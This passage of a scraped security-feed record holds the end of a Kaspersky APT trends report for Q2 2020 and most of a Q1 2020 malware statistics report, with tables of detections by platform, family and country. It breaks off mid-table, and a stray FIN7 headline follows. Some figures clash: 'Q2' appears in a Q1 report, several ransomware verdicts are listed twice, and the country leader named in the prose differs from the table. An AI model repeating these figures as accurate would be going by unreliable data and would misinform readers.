the last part of this malware framework looks like. Although the code is quite sophisticated, we couldn't identify any similarity with other known frameworks.\n\nAarogya Setu is the name of a mandatory COVID-19 mobile tracking app developed by the National Informatics Centre, an organization that comes under the Ministry of Electronics and Information Technology in India. It allows its users to connect to essential health services in India. With cyber criminals and APT actors taking advantage of pandemic-tracking applications to distribute Trojanized mobile apps, we investigated and identified apps that mimic the appearance and behavior of the legitimate Aarogya Setu app while deploying Android RATs. We consider one of these to be a new version of a RAT that we previously reported being used by the Transparent Tribe threat actor.\n\n## **Final thoughts**\n\nThe threat landscape isn't always full of "groundbreaking" events. However, a review of the activities of APT threat actors indicates that there are always interesting developments. Our regular quarterly reviews are intended to highlight these key developments.\n\nHere are the main trends that we've seen in Q2 2020.\n\n * Geo-politics remains an important motive for some APT threat actors, as shown in the activities of MuddyWater, the compromise of the Middle East Eye website and the campaigns of CloudComputating and HoneyMyte groups.\n * As is clear from the activities of Lazarus and BlueNoroff, financial gain is another driver for some threat actors - including the use of ransomware attacks.\n * While Southeast Asia continues to be an active region for APT activities, this quarter we have also observed heavy activity by Chinese-speaking groups, including ShadowPad, HoneyMyte, CactusPete, CloudComputating and SixLittleMonkeys.\n * APT threat actors continue to exploit software vulnerabilities - examples this quarter include Hades and MagicScroll.\n * We have noted before that the use of mobile implants is no longer a novelty, and this quarter is no exception, as illustrated by the PhantomLance campaign.\n * It is clear that APT actors, like opportunistic cybercriminals, continue to exploit the COVID-19 pandemic as a theme to lure potential victims. However, we would note once again that this doesn't represent a shift in TTPs.\n\nAs always, we would note that our reports are the product of our visibility into the threat landscape. However, it should be borne in mind that, while we strive to continually improve, there is always the possibility that other sophisticated attacks may fly under our radar.", "cvss3": {}, "published": "2020-07-29T10:00:09", "type": "securelist", "title": "APT trends report Q2 2020", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2008-3431", "CVE-2019-10149", "CVE-2020-0688"], "modified": "2020-07-29T10:00:09", "id": "SECURELIST:91CACDF02C22F17E70A0DC58D036F9DE", "href": "https://securelist.com/apt-trends-report-q2-2020/97937/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-05-20T11:49:25", "description": "\n\n_These statistics are based on detection verdicts for Kaspersky products received from users who consented to providing statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network,\n\n * Kaspersky solutions blocked 726,536,269 attacks launched from online resources in 203 countries across the globe.\n * A total of 442,039,230 unique URLs were recognized as malicious by Web Anti-Virus components.\n * Attempted infections by malware designed to steal money via online access to bank accounts were logged on the computers of 249,748 unique users.\n * Ransomware attacks were defeated on the computers of 178,922 unique users.\n * Our File Anti-Virus detected 164,653,290 unique malicious and potentially unwanted objects.\n * Kaspersky products for mobile devices detected: \n * 1,152,662 malicious installation packages\n * 42,115 installation packages for mobile banking trojans\n * 4339 installation packages for mobile ransomware trojans\n\n## Mobile threats\n\n### Quarter events\n\nQ1 2020 will be remembered primarily for the coronavirus pandemic and cybercriminals' exploitation of the topic. In particular, the creators of a new modification of the Ginp banking trojan renamed their malware Coronavirus Finder and then began offering it for \u20ac0.75 disguised as an app supposedly capable of detecting nearby people infected with COVID-19. Thus, the cybercriminals tried not only to scam users by exploiting hot topics, but to gain access to their bank card details. And, because the trojan remains on the device after stealing this data, the cybercriminals could intercept text messages containing two-factor authorization codes and use the stolen data without the victim's knowledge.\n\nAnother interesting find this quarter was [Cookiethief](<https://securelist.com/cookiethief/96332/>), a trojan designed to steal cookies from mobile browsers and the Facebook app. In the event of a successful attack, the malware provided its handler with access to the victim's account, including the ability to perform various actions in their name, such as liking, reposting, etc. To prevent the service from spotting any abnormal activity in the hijacked profile, the trojan contains a proxy module through which the attackers issue commands.\n\nThe third piece of malware that caught our attention this reporting quarter was trojan-Dropper.AndroidOS.Shopper.a. It is designed to [help cybercriminals to leave fake reviews and drive up ratings on Google Play](<https://securelist.com/smartphone-shopaholic/95544/>). The attackers' goals here are obvious: to increase the changes of their apps getting published and recommended, and to lull the vigilance of potential victims. Note that to rate apps and write reviews, the trojan uses Accessibility Services to gain full control over the other app: in this case, the official Google Play client.\n\n### Mobile threat statistics\n\nIn Q1 2020, Kaspersky's mobile products and technologies detected 1,152,662 malicious installation packages, or 171,669 more than in the previous quarter.\n\n_Number of malicious installation packages detected, Q1 2019 \u2013 Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13193928/sl_malware_report_01-kolichestvo-obnaruzhennyh-vredonosnyh-ustanovochnyh-paketov-q1-2019-q1-2019.png>)_\n\nStarting in Q2 2019, we have seen a steady rise in the number of mobile threats detected. Although it is too early to sound the alarm (2019 saw the lowest number of new threats in recent years), the trend is concerning.\n\n### Distribution of detected mobile apps by type\n\n_Distribution of newly detected mobile programs by type, Q1 2020 and Q4 2019 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194010/sl_malware_report_02-en-mobile-behavior.png>)_\n\nOf all the threats detected in Q1, half were unwanted adware apps (49.9%), their share having increased by 19 p.p. compared to the previous quarter. Most often, we detected members of the HiddenAd and Ewind families, with a combined slice of 40% of all detected adware threats, as well as the FakeAdBlocker family (12%).\n\nPotentially unwanted RiskTool apps (28.24%) took second place; the share of this type of threat remained almost unchanged. The Smsreg (49% of all detected threats of this class), Agent (17%) and Dnotua (11%) families were the biggest contributors. Note that in Q1, the number of detected members of the Smsreg family increased by more than 50 percent.\n\nIn third place were Trojan-Dropper-type threats (9.72%). Although their share decreased by 7.63 p.p. against the previous quarter, droppers remain one of the most common classes of mobile threats. Ingopack emerged as Q1's leading family with a massive 71% of all Trojan-Dropper threats, followed by Waponor (12%) and [Hqwar](<https://securelist.com/hqwar-the-higher-it-flies-the-harder-it-drops/93689/>) (8%) far behind.\n\nIt is worth noting that mobile droppers are most often used for installing financial malware, although some financial threats can spread without their help. The share of these self-sufficient threats is quite substantial: in particular, the share of Trojan-Banker in Q1 increased by 2.1 p.p. to 3.65%.\n\n### Top 20 mobile malware programs\n\n_Note that this malware rankings do not include potentially dangerous or unwanted programs such as RiskTool or adware._\n\n| **Verdict ** | **%*** \n---|---|--- \n1 | DangerousObject.Multi.Generic | 44.89 \n2 | Trojan.AndroidOS.Boogr.gsh | 9.09 \n3 | DangerousObject.AndroidOS.GenericML | 7.08 \n4 | Trojan-Downloader.AndroidOS.Necro.d | 4.52 \n5 | Trojan.AndroidOS.Hiddapp.ch | 2.73 \n6 | Trojan-Downloader.AndroidOS.Helper.a | 2.45 \n7 | Trojan.AndroidOS.Handda.san | 2.31 \n8 | Trojan-Dropper.AndroidOS.Necro.z | 2.30 \n9 | Trojan.AndroidOS.Necro.a | 2.19 \n10 | Trojan-Downloader.AndroidOS.Necro.b | 1.94 \n11 | Trojan-Dropper.AndroidOS.Hqwar.gen | 1.82 \n12 | Trojan-Dropper.AndroidOS.Helper.l | 1.50 \n13 | Exploit.AndroidOS.Lotoor.be | 1.46 \n14 | Trojan-Dropper.AndroidOS.Lezok.p | 1.46 \n15 | Trojan-Banker.AndroidOS.Rotexy.e | 1.43 \n16 | Trojan-Dropper.AndroidOS.Penguin.e | 1.42 \n17 | Trojan-SMS.AndroidOS.Prizmes.a | 1.39 \n18 | Trojan.AndroidOS.Dvmap.a | 1.24 \n19 | Trojan.AndroidOS.Agent.rt | 1.21 \n20 | Trojan.AndroidOS.Vdloader.a | 1.18 \n \n_* Unique users attacked by this malware as a percentage of all users of Kaspersky mobile products that were attacked._\n\nFirst place in our Top 20 as ever went to DangerousObject.Multi.Generic (44.89%), the verdict we use for malware detected [using cloud technology](<https://www.kaspersky.com/enterprise-security/wiki-section/products/big-data-the-astraea-technology>). They are triggered when the antivirus databases still lack the data for detecting a malicious program, but the Kaspersky Security Network cloud already contains information about the object. This is basically how the latest malware is detected.\n\nSecond and third places were claimed by Trojan.AndroidOS.Boogr.gsh (9.09%) and DangerousObject.AndroidOS.GenericML (7,08%) respectively. These verdicts are assigned to files that are recognized as malicious by our [machine-learning systems](<https://www.kaspersky.com/enterprise-security/wiki-section/products/machine-learning-in-cybersecurity>).\n\nIn fourth (Trojan-Downloader.AndroidOS.Necro.d, 4.52%) and tenth (Trojan-Downloader.AndroidOS.Necro.b, 1.94%) places are members of the Necro family, whose main task is to download and install modules from cybercriminal servers. Eighth-placed Trojan-Dropper.AndroidOS.Necro.z (2.30%) acts in a similar way, extracting from itself only those modules that it needs. As for Trojan.AndroidOS.Necro.a, which took ninth place (2.19%), cybercriminals assigned it a different task: the trojan follows advertising links and clicks banner ads in the victim's name.\n\nTrojan.AndroidOS.Hiddapp.ch (2.73%) claimed fifth spot. As soon as it runs, the malware hides its icon on the list of apps and continues to operate in the background. The trojan's payload can be other trojan programs or adware apps.\n\nSixth place went to Trojan-Downloader.AndroidOS.Helper.a (2.45%), which is what Trojan-Downloader.AndroidOS.Necro usually delivers. Helper.a is tasked with downloading arbitrary code from the cybercriminals' server and running it.\n\nThe verdict Trojan.AndroidOS.Handda.san (2.31%) in seventh place is a group of diverse trojans that hide their icons, gain Device Admin rights on the device, and use packers to evade detection.\n\nTrojan-Banker.AndroidOS.Rotexy.e (1.43%) and Trojan-Dropper.AndroidOS.Penguin.e (1.42%) warrant a special mention. The former is the only banking trojan in the top 20 this past quarter. The Rotexy family is all of six years old, and its members have the functionality to steal bank card details and intercept two-factor payment authorization messages. In turn, the first member of the Penguin dropper family was only detected last July and had gained significant popularity by Q1 2020.\n\n### Geography of mobile threats\n\n \n\n_Map of infection attempts by mobile malware, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194110/sl_malware_report_03-en-mobile-all-map.png>)_\n\n**Top 10 countries by share of users attacked by mobile threats**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Iran | 39.56 \n2 | Algeria | 21.44 \n3 | Bangladesh | 18.58 \n4 | Nigeria | 15.58 \n5 | Lebanon | 15.28 \n6 | Tunisia | 14.94 \n7 | Pakistan | 13.99 \n8 | Kuwait | 13.91 \n9 | Indonesia | 13.81 \n10 | Cuba | 13.62 \n \n_* Excluded from the rankings are countries with relatively few users of Kaspersky mobile products (under 10,000)._ \n_** Unique users attacked as a percentage of all users of Kaspersky mobile products in the country._\n\nIn Q1 2020, the leader by share of attacked users was Iran (39.56%). Inhabitants of this country most frequently encountered adware apps from the Notifyer family, as well as Telegram clone apps. In second place was Algeria (21.44%), where adware apps were also distributed, but this time it was the HiddenAd and FakeAdBlocker families. Third place was taken by Bangladesh (18.58%), where half of the top 10 mobile threats consisted of adware in the HiddenAd family.\n\n### Mobile banking trojans\n\nDuring the reporting period, we detected **42,115** installation packages of mobile banking trojans. This is the highest value in the past 18 months, and more than 2.5 times higher than in Q4 2019. The largest contributions to the statistics came from the Trojan-Banker.AndroidOS.Agent (42.79% of all installation packages detected), Trojan-Banker.AndroidOS.Wroba (16.61%), and Trojan-Banker.AndroidOS.Svpeng (13.66%) families.\n\n_Number of installation packages of mobile banking trojans detected by Kaspersky, Q1 2019 \u2013 Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194342/sl_malware_report_04-kolichestvo-ustanovochnyh-paketov-mobilnyh-bankovskih-troyancev-q1-2019-q1-2019.png>)_\n\n**Top 10 mobile banking trojans**\n\n_ _ | **Verdict** | **%*** \n---|---|--- \n_1_ | Trojan-Banker.AndroidOS.Rotexy.e | 13.11 \n_2_ | Trojan-Banker.AndroidOS.Svpeng.q | 10.25 \n_3_ | Trojan-Banker.AndroidOS.Asacub.snt | 7.64 \n_4_ | Trojan-Banker.AndroidOS.Asacub.ce | 6.31 \n_5_ | Trojan-Banker.AndroidOS.Agent.eq | 5.70 \n_6_ | Trojan-Banker.AndroidOS.Anubis.san | 4.68 \n_7_ | Trojan-Banker.AndroidOS.Agent.ep | 3.65 \n_8_ | Trojan-Banker.AndroidOS.Asacub.a | 3.50 \n_9_ | Trojan-Banker.AndroidOS.Asacub.ar | 3.00 \n_10_ | Trojan-Banker.AndroidOS.Agent.cf | 2.70 \n \n_* Unique users attacked by this malware as a percentage of all users of Kaspersky mobile products who were attacked by banking threats._\n\nFirst and second places in our top 10 were claimed by trojans targeted at Russian-speaking mobile users: Trojan-Banker.AndroidOS.Rotexy.e (13.11%) and Trojan-Banker.AndroidOS.Svpeng.q (10.25%).\n\nThird, fourth, eighth, and ninth positions in the top 10 mobile banking threats went to members of the Asacub family. The cybercriminals behind this trojan stopped creating new samples, but its distribution channels were still active in Q1.\n\n_Geography of mobile banking threats, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194517/sl_malware_report_05-en-mobile-banker-map.png>)_\n\n**Top 10 countries by share of users attacked by mobile banking trojans**\n\n| Country* | %** \n---|---|--- \n1 | Japan | 0.57 \n2 | Spain | 0.48 \n3 | Italy | 0.26 \n4 | Bolivia | 0.18 \n5 | Russia | 0.17 \n6 | Turkey | 0.13 \n7 | Tajikistan | 0.13 \n8 | Brazil | 0.11 \n9 | Cuba | 0.11 \n10 | China | 0.10 \n \n_* Excluded from the rankings are countries with relatively few users of Kaspersky mobile products (under 10,000)._ \n_** Unique users attacked by mobile banking trojans as a percentage of all users of Kaspersky mobile products in the country._\n\nIn Q1 2020, Japan (0.57%) had the largest share of users attacked by mobile bankers; the vast majority of cases involved Trojan-Banker.AndroidOS.Agent.eq.\n\nIn second place came Spain (0.48%), where in more than half of all cases, we detected malware from the Trojan-Banker.AndroidOS.Cebruser family, and another quarter of detections were members of the Trojan-Banker.AndroidOS.Ginp family.\n\nThird place belonged to Italy (0.26%), where, as in Spain, the Trojan-Banker.AndroidOS.Cebruser family was the most widespread with almost two-thirds of detections.\n\nIt is worth saying a bit more about the Cebruser family. Its creators were among the first to exploit the coronavirus topic to spread the malware.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13183112/sl_malware_report.png>)When it runs, the trojan immediately gets down to business: it requests access to Accessibility Services to obtain Device Admin permissions, and then tries to get hold of card details.\n\nThe malware is distributed under the [Malware-as-a-Service](<https://encyclopedia.kaspersky.com/glossary/malware-as-a-service-maas/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) model; its set of functions is standard for such threats, but with one interesting detail \u2014 the use of a step-counter for activation so as to bypass dynamic analysis tools ([sandbox](<https://encyclopedia.kaspersky.com/glossary/sandbox/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>)). Cebruser targets the mobile apps of banks in various countries and popular non-financial apps; its main weapons are phishing windows and interception of two-factor authorization. In addition, the malware can block the screen using a ransomware tool and intercept keystrokes on the virtual keyboard.\n\n### Mobile ransomware trojans\n\nIn Q2 2020, we detected **4,339** installation packages of mobile trojan ransomware, 1,067 fewer than in the previous quarter.\n\n_Number of installation packages of mobile ransomware trojans detected by Kaspersky, Q1 2019 \u2013 Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194615/sl_malware_report_06-kolichestvo-ustanovochnyh-paketov-mobilnyh-troyancev-vymogatelej-q1-2018-q1-2019.png>)_\n\n**Top 10 mobile ransomware trojans**\n\n| Verdict | %* \n---|---|--- \n1 | Trojan-Ransom.AndroidOS.Svpeng.aj | 17.08 \n2 | Trojan-Ransom.AndroidOS.Congur.e | 12.70 \n3 | Trojan-Ransom.AndroidOS.Small.as | 11.41 \n4 | Trojan-Ransom.AndroidOS.Rkor.k | 9.88 \n5 | Trojan-Ransom.AndroidOS.Small.as | 7.32 \n6 | Trojan-Ransom.AndroidOS.Small.o | 4.79 \n7 | Trojan-Ransom.AndroidOS.Svpeng.aj | 3.62 \n8 | Trojan-Ransom.AndroidOS.Svpeng.ah | 3.55 \n9 | Trojan-Ransom.AndroidOS.Congur.e | 3.32 \n10 | Trojan-Ransom.AndroidOS.Fusob.h | 3.17 \n \n_* Unique users attacked by this malware as a percentage of all users of Kaspersky mobile products who were attacked by ransomware trojans._\n\nOver the past few quarters, the number of ransomware trojans detected has been gradually decreasing; all the same, we continue to detect quite a few infection attempts by this class of threats. The main contributors to the statistics were the Svpeng, Congur, and Small ransomware families.\n\n_Geography of mobile ransomware trojans, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194659/sl_malware_report_07-en-mobile-ransom-map.png>)_\n\nTop 10 countries by share of users attacked by mobile ransomware trojans:\n\n| **Country*** | **%**** \n---|---|--- \n1 | USA | 0.26 \n2 | Kazakhstan | 0.25 \n3 | Iran | 0.16 \n4 | China | 0.09 \n5 | Saudi Arabia | 0.08 \n6 | Italy | 0.03 \n7 | Mexico | 0.03 \n8 | Canada | 0.03 \n9 | Indonesia | 0.03 \n10 | Switzerland | 0.03 \n \n_* Excluded from the rankings are countries with relatively few users of Kaspersky mobile products (under 10,000)._ \n_** Unique users attacked by mobile ransomware trojans as a percentage of all users of Kaspersky mobile products in the country._\n\nThe leaders by number of users attacked by mobile ransomware trojans are Syria (0.28%), the United States (0.26%) and Kazakhstan (0.25%)\n\n## Attacks on Apple macOS\n\nIn Q1 2020, we detected not only new versions of common threats, but one new backdoor family, whose first member was Backdoor.OSX.Capip.a. The malware's operating principle is simple: it calls the C&C for a shell script, which it then downloads and executes.\n\n### Top 20 threats to macOS\n\n| Verdict | %* \n---|---|--- \n1 | Trojan-Downloader.OSX.Shlayer.a | 19.27 \n2 | AdWare.OSX.Pirrit.j | 10.34 \n3 | AdWare.OSX.Cimpli.k | 6.69 \n4 | AdWare.OSX.Ketin.h | 6.27 \n5 | AdWare.OSX.Pirrit.aa | 5.75 \n6 | AdWare.OSX.Pirrit.o | 5.74 \n7 | AdWare.OSX.Pirrit.x | 5.18 \n8 | AdWare.OSX.Spc.a | 4.56 \n9 | AdWare.OSX.Cimpli.f | 4.25 \n10 | AdWare.OSX.Bnodlero.t | 4.08 \n11 | AdWare.OSX.Bnodlero.x | 3.74 \n12 | Hoax.OSX.SuperClean.gen | 3.71 \n13 | AdWare.OSX.Cimpli.h | 3.37 \n14 | AdWare.OSX.Pirrit.v | 3.30 \n15 | AdWare.OSX.Amc.c | 2.98 \n16 | AdWare.OSX.MacSearch.d | 2.85 \n17 | RiskTool.OSX.Spigot.a | 2.84 \n18 | AdWare.OSX.Pirrit.s | 2.80 \n19 | AdWare.OSX.Ketin.d | 2.76 \n20 | AdWare.OSX.Bnodlero.aq | 2.70 \n \n_* Unique users attacked by this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked_\n\nThe top 20 threats for macOS did not undergo any major changes in Q1 2020. The adware trojan Shlayer.a (19.27%) still tops the leaderboard, followed by objects that Shlayer itself loads into the infected system, in particular, numerous adware apps from the Pirrit family.\n\nInterestingly, the unwanted program Hoax.OSX.SuperClean.gen landed in 12th place on the list. Like other Hoax-type programs, it is distributed under the guise of a system cleanup app, and immediately after installation, scares the user with problems purportedly found in the system, such as gigabytes of trash on the hard drive.\n\n### Threat geography\n\n| **Country*** | **%**** \n---|---|--- \n1 | Spain | 7.14 \n2 | France | 6.94 \n3 | Italy | 5.94 \n4 | Canada | 5.58 \n5 | USA | 5.49 \n6 | Russia | 5.10 \n7 | India | 4.88 \n8 | Mexico | 4.78 \n9 | Brazil | 4.65 \n10 | Belgium | 4.65 \n \n_* Excluded from the rankings are countries with relatively few users of Kaspersky security solutions for macOS (under 5,000)_ \n_** Unique users who encountered macOS threats as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nThe leading countries, as in previous quarters, were Spain (7.14%), France (6.94%) and Italy (5.94%). The main contributors to the number of detections in these countries were the familiar Shlayer trojan and adware apps from the Pirrit family.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q1 2020, the share of IP addresses from which attempts were made to attack Kaspersky telnet traps increased significantly. Their share amounted to 81.1% of all IP addresses from which attacks were carried out, while SSH traps accounted for slightly less than 19%. \n \nSSH | 18.9% \nTelnet | 81.1% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q1 2020_\n\nIt was a similar situation with control sessions: attackers often controlled infected traps via telnet. \n \nSSH | 39.62% \nTelnet | 60.38% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q1 2020_\n\n### Telnet-based attacks\n\n \n\n_Geography of device IP addresses where attacks at Kaspersky telnet traps originated, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194811/sl_malware_report_09-en-telnet-geo.png>)_\n\n**Top 10 countries by location of devices from which attacks were carried out on Kaspersky telnet traps.**\n\nCountry* | **%** \n---|--- \nChina | 13.04 \nEgypt | 11.65 \nBrazil | 11.33 \nVietnam | 7.38 \nTaiwan | 6.18 \nRussia | 4.38 \nIran | 3.96 \nIndia | 3.14 \nTurkey | 3.00 \nUSA | 2.57 \n \n_ _ \nFor several quarters in a row, the leading country by number of attacking bots has been China: in Q1 2020 its share stood at 13.04%. As before, it is followed by Egypt (11.65%) and Brazil (11.33%).\n\n### SSH-based attacks\n\n \n\n_Geography of device IP addresses where attacks at Kaspersky SSH traps originated, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194853/sl_malware_report_10-en-ssh-geo.png>)_\n\n**Top 10 countries by location of devices from which attacks were made on Kaspersky SSH traps.**\n\nCountry* | % \n---|--- \nChina | 14.87 \nVietnam | 11.58 \nUSA | 7.03 \nEgypt | 6.82 \nBrazil | 5.79 \nRussia | 4.66 \nIndia | 4.16 \nGermany | 3.64 \nThailand | 3.44 \nFrance | 2.83 \n \nIn Q1 2020, China (14.87%), Vietnam (11.58%) and the US (7.03%) made up the top three countries by number of unique IPs from which attacks on SSH traps originated.\n\n### Threats loaded into honeypots\n\n**Verdict** | %* \n---|--- \nTrojan-Downloader.Linux.NyaDrop.b | 64.35 \nBackdoor.Linux.Mirai.b | 16.75 \nBackdoor.Linux.Mirai.ba | 6.47 \nBackdoor.Linux.Gafgyt.a | 4.36 \nBackdoor.Linux.Gafgyt.bj | 1.30 \nTrojan-Downloader.Shell.Agent.p | 0.68 \nBackdoor.Linux.Mirai.c | 0.64 \nBackdoor.Linux.Hajime.b | 0.46 \nBackdoor.Linux.Mirai.h | 0.40 \nBackdoor.Linux.Gafgyt.av | 0.35 \n \n_* Share of malware type in the total amount of malware downloaded to IoT devices following a successful attack._\n\nIn Q1 2020, attackers most often downloaded the minimalistic trojan loader NyaDrop (64.35%), whose executable file does not exceed 500 KB. Threats from the Mirai family traditionally dominated: its members claimed four places in our top 10. These malicious programs will continue to rule the world of IoT threats for a long time to come, at least until the appearance of a more advanced (and publicly available) DDoS bot.\n\n## Financial threats\n\n### Financial threat statistics\n\nIn Q1 2020, Kaspersky solutions blocked attempts to launch one or several types of malware designed to steal money from bank accounts on the computers of 249,748 users.\n\n_Number of unique users attacked by financial malware, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194937/sl_malware_report_11-en-finance.png>)_\n\n**Attack geography**\n\nTo assess and compare the risk of being infected by banking trojans and ATM/POS malware in various countries, for each country we calculated the share of users of Kaspersky products that faced this threat during the reporting period out of all users of our products in that country.\n\n_Geography of banking malware attacks, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13195018/sl_malware_report_12-en-finance-map.png>)_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Uzbekistan | 10.5 \n2 | Tajikistan | 6.9 \n3 | Turkmenistan | 5.5 \n4 | Afghanistan | 5.1 \n5 | Yemen | 3.1 \n6 | Kazakhstan | 3.0 \n7 | Guatemala | 2.8 \n8 | Syria | 2.4 \n9 | Sudan | 2.1 \n10 | Kyrgyzstan | 2.1 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000)._ \n_** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\n**Top 10 banking malware families**\n\n| Name | Verdicts | %* \n---|---|---|--- \n1 | Emotet | Backdoor.Win32.Emotet | 21.3 | \n2 | Zbot | Trojan.Win32.Zbot | 20.8 | \n3 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 17.2 | \n4 | RTM | Trojan-Banker.Win32.RTM | 12.3 | \n5 | Nimnul | Virus.Win32.Nimnul | 3.6 | \n6 | Trickster | Trojan.Win32.Trickster | 3.6 | \n7 | Neurevt | Trojan.Win32.Neurevt | 3.3 | \n8 | SpyEye | Trojan-Spy.Win32.SpyEye | 2.3 | \n9 | Danabot | Trojan-Banker.Win32.Danabot | 2.0 | \n10 | Nymaim | Trojan.Win32.Nymaim | 1.9 | \n \n_** Unique users attacked by this malware family as a __percentage of all users attacked by financial malware._\n\n## Ransomware programs\n\n### Quarterly highlights\n\nRansomware attacks on organizations, as well as on city and municipal networks, did not ease off. Given how lucrative they are for cybercriminals, there is no reason why this trend of several years should cease.\n\nMore and more ransomware is starting to supplement encryption with data theft. To date, this tactic has been adopted by distributors of ransomware families, including Maze, REvil/Sodinokibi, DoppelPaymer and JSWorm/Nemty/Nefilim. If the victim refuses to pay the ransom for decryption (because, say, the data was recovered from a backup copy), the attackers threaten to put the stolen confidential information in the public domain. Such threats are sometimes empty, but not always: the authors of several ransomware programs have set up websites that do indeed publish the data of victim organizations.\n\n### Number of new modifications\n\nIn Q1 2020, we detected five new ransomware families and 5,225 new modifications of these malware programs.\n\n_Number of new ransomware modifications detected, Q1 2019 \u2013 Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13195150/sl_malware_report_13-ransomware-novye-modifikacii.png>)_\n\n### Number of users attacked by ransomware trojans\n\nIn Q1 2020, Kaspersky products and technologies protected 178,922 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware trojans, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13195235/sl_malware_report_14-en-ransomware-atakovannye-polzovateli.png>)_\n\n### Attack geography\n\n \n\n_Geography of attacks by ransomware trojans, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13201512/sl_malware_report_15-en-ransomware-map.png>)_\n\n**Top 10 countries attacked by ransomware trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 6.64 \n2 | Uzbekistan | 1.98 \n3 | Mozambique | 1.77 \n4 | Ethiopia | 1.67 \n5 | Nepal | 1.34 \n6 | Afghanistan | 1.31 \n7 | Egypt | 1.21 \n8 | Ghana | 0.83 \n9 | Azerbaijan | 0.81 \n10 | Serbia | 0.74 \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000)._ \n_** Unique users whose computers were attacked by ransomware trojans as a percentage of all unique users of Kaspersky products in the country._\n\n### Top 10 most common families of ransomware trojans\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | WannaCry | Trojan-Ransom.Win32.Wanna | 19.03 | \n2 | (generic verdict) | Trojan-Ransom.Win32.Gen | 16.71 | \n3 | (generic verdict) | Trojan-Ransom.Win32.Phny | 16.22 | \n4 | GandCrab | Trojan-Ransom.Win32.GandCrypt | 7.73 | \n5 | Stop | Trojan-Ransom.Win32.Stop | 6.62 | \n6 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 4.28 | \n7 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 4.15 | \n8 | PolyRansom/VirLock | Virus.Win32.PolyRansom,\n\nTrojan-Ransom.Win32.PolyRansom | 2.96 | \n9 | Crysis/Dharma | Trojan-Ransom.Win32.Crusis | 2.02 | \n10 | (generic verdict) | Trojan-Ransom.Win32.Generic | 1.56 | \n| | | | | \n \n_* Unique Kaspersky users __attacked by the specified family of ransomware trojans as a percentage of all users attacked by ransomware trojans._\n\n## Miners\n\n### Number of new modifications\n\nIn Q1 2020, Kaspersky solutions detected 192,036 new miner modifications.\n\n_Number of new miner modifications, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13201558/sl_malware_report_16-en-miner-kolichestvo-novyh-modifikacij.png>)_\n\n### Number of users attacked by miners\n\nIn Q1, we detected attacks using miners on the computers of 518,857 unique users of Kaspersky Lab products worldwide.\n\n_Number of unique users attacked by miners, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13201637/sl_malware_report_17-en-miner-kolichestvo-polzovatelej-atakovannyh-majnerami.png>)_\n\n### Attack geography\n\n \n\n_Geography of miner attacks, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13201719/sl_malware_report_18-en-miner-map.png>)_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Afghanistan | 6.72 \n2 | Ethiopia | 4.90 \n3 | Tanzania | 3.26 \n4 | Sri Lanka | 3.22 \n5 | Uzbekist
FIN7 Cybercrime Syndicate Emerges as a Major Player in Ransomware Landscape
